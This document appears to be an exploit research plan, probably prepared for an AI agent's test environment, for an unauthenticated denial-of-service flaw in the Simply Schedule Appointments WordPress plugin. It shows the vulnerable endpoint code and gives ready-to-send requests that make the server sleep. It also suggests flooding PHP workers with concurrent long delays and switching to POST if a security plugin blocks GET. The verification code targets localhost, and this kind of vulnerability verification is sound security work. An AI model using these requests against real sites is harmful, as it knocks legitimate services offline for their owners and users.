Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.11.5 - Unauthenticated Denial of Service

This research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the Simply Schedule Appointments plugin (CVE-2026-7493).

1. Vulnerability Summary

The vulnerability is an Uncontrolled Resource Consumption issue located in the SSA_Async_Action_Model class. The plugin registers a public REST API endpoint designed to trigger asynchronous actions. This endpoint accepts a delay parameter and passes it directly to the PHP sleep() function without validating the maximum duration or checking for administrative privileges.

An unauthenticated attacker can send multiple requests with large delay values to saturate the server's PHP worker pool (e.g., FPM/Apache workers), making the site unresponsive to legitimate traffic.

2. Attack Vector Analysis

• Endpoint: /wp-json/ssa/v1/async
• Method: GET (via WP_REST_Server::READABLE) or POST (via WP_REST_Server::CREATABLE)
• Parameter: delay (Integer)
• Authentication: None (Publicly accessible)
• Preconditions: The plugin must be active. The site must be using a standard WordPress REST API configuration.

3. Code Flow

The vulnerability is contained in includes/class-async-action-model.php:

1. Registration: The register_routes() method (line 155) defines the endpoint:

   register_rest_route(
       $namespace, // 'ssa/v1'
       '/' . $base, // 'async'
       array(
           array(
               'methods'             => WP_REST_Server::CREATABLE,
               'callback'            => array( $this, 'process_endpoint' ),
               'permission_callback' => '__return_true', // No auth required
           ),
           array(
               'methods'             => WP_REST_Server::READABLE,
               'callback'            => array( $this, 'process_endpoint' ),
               'permission_callback' => '__return_true', // No auth required
           ),
       )
   );
   

2. Execution: The process_endpoint() method (line 178) processes the request:

   public function process_endpoint( $request ) {
       define( 'SSA_DOING_ASYNC', true );
       $params = $request->get_params();
       
       if ( ! empty( $params[ 'delay' ] ) ) {
           $delay = (int) sanitize_text_field( $params['delay'] );
           sleep( $delay ); // Vulnerable sink: Uncontrolled sleep duration
       }
       // ...
   }
   

4. Nonce Acquisition Strategy

This specific endpoint does not require a WordPress nonce.

• The permission_callback is explicitly set to __return_true.
• The WordPress REST API typically requires a _wpnonce header only for authenticated requests or specific nonce-guarded routes.
• The source code in process_endpoint does not perform any manual wp_verify_nonce or check_ajax_referer checks.

5. Exploitation Strategy

To prove the vulnerability, we will demonstrate that the server response is delayed by exactly the amount specified in the delay parameter.

Step 1: Baseline Request

Send a request without a delay to ensure the endpoint is reachable and responsive.

• Request: GET /wp-json/ssa/v1/async
• Expected Response: 200 OK (returns true) in milliseconds.

Step 2: Delayed Request (The Exploit)

Send a request with a delay parameter (e.g., 5 seconds).

• Request: GET /wp-json/ssa/v1/async?delay=5
• Mechanism: The PHP process will hang at sleep(5).
• Expected Behavior: The HTTP response will not be returned until at least 5 seconds have elapsed.

Step 3: Resource Exhaustion Demonstration (Conceptual)

Sending multiple concurrent requests with delay=30 will occupy 100% of available PHP workers for 30 seconds.

6. Test Data Setup

No specific WordPress content or settings are required. Simply ensure the plugin is activated.

1. Install/Activate Plugin:
   wp plugin activate simply-schedule-appointments
2. Verify Endpoint:
   Check if the route is registered:
   wp rest route list | grep "ssa/v1/async"

7. Expected Results

A successful exploit will show:

• The http_request tool reporting a total_time closely matching the delay parameter.
• The server returning a 200 OK response body containing true (as specified in the process_endpoint return statement).

8. Verification Steps

Since this is a Denial of Service primitive, we verify it by timing the execution of the HTTP request from the perspective of the attacker.

1. Execute the delayed request:

   // Using http_request in the agent environment
   const start = Date.now();
   const response = await http_request({
       method: 'GET',
       url: 'http://localhost:8080/wp-json/ssa/v1/async?delay=5'
   });
   const duration = (Date.now() - start) / 1000;
   console.log(`Response received in ${duration} seconds.`);
   

2. Validation Logic: If duration >= 5 and the response is true, the vulnerability is confirmed.

9. Alternative Approaches

• POST Method: If GET is restricted by a security plugin, the vulnerability can be triggered via POST:
  • URL: /wp-json/ssa/v1/async
  • Content-Type: application/json
  • Body: {"delay": 5}
• Large Delay: Test with a larger delay (e.g., 15) to confirm that the sleep() duration scales linearly with user input, confirming the lack of sanitization/limiting. Note that the request might eventually hit the PHP max_execution_time limit (default 30s), causing a 504 Gateway Timeout instead of a 200 OK, which still confirms the DoS.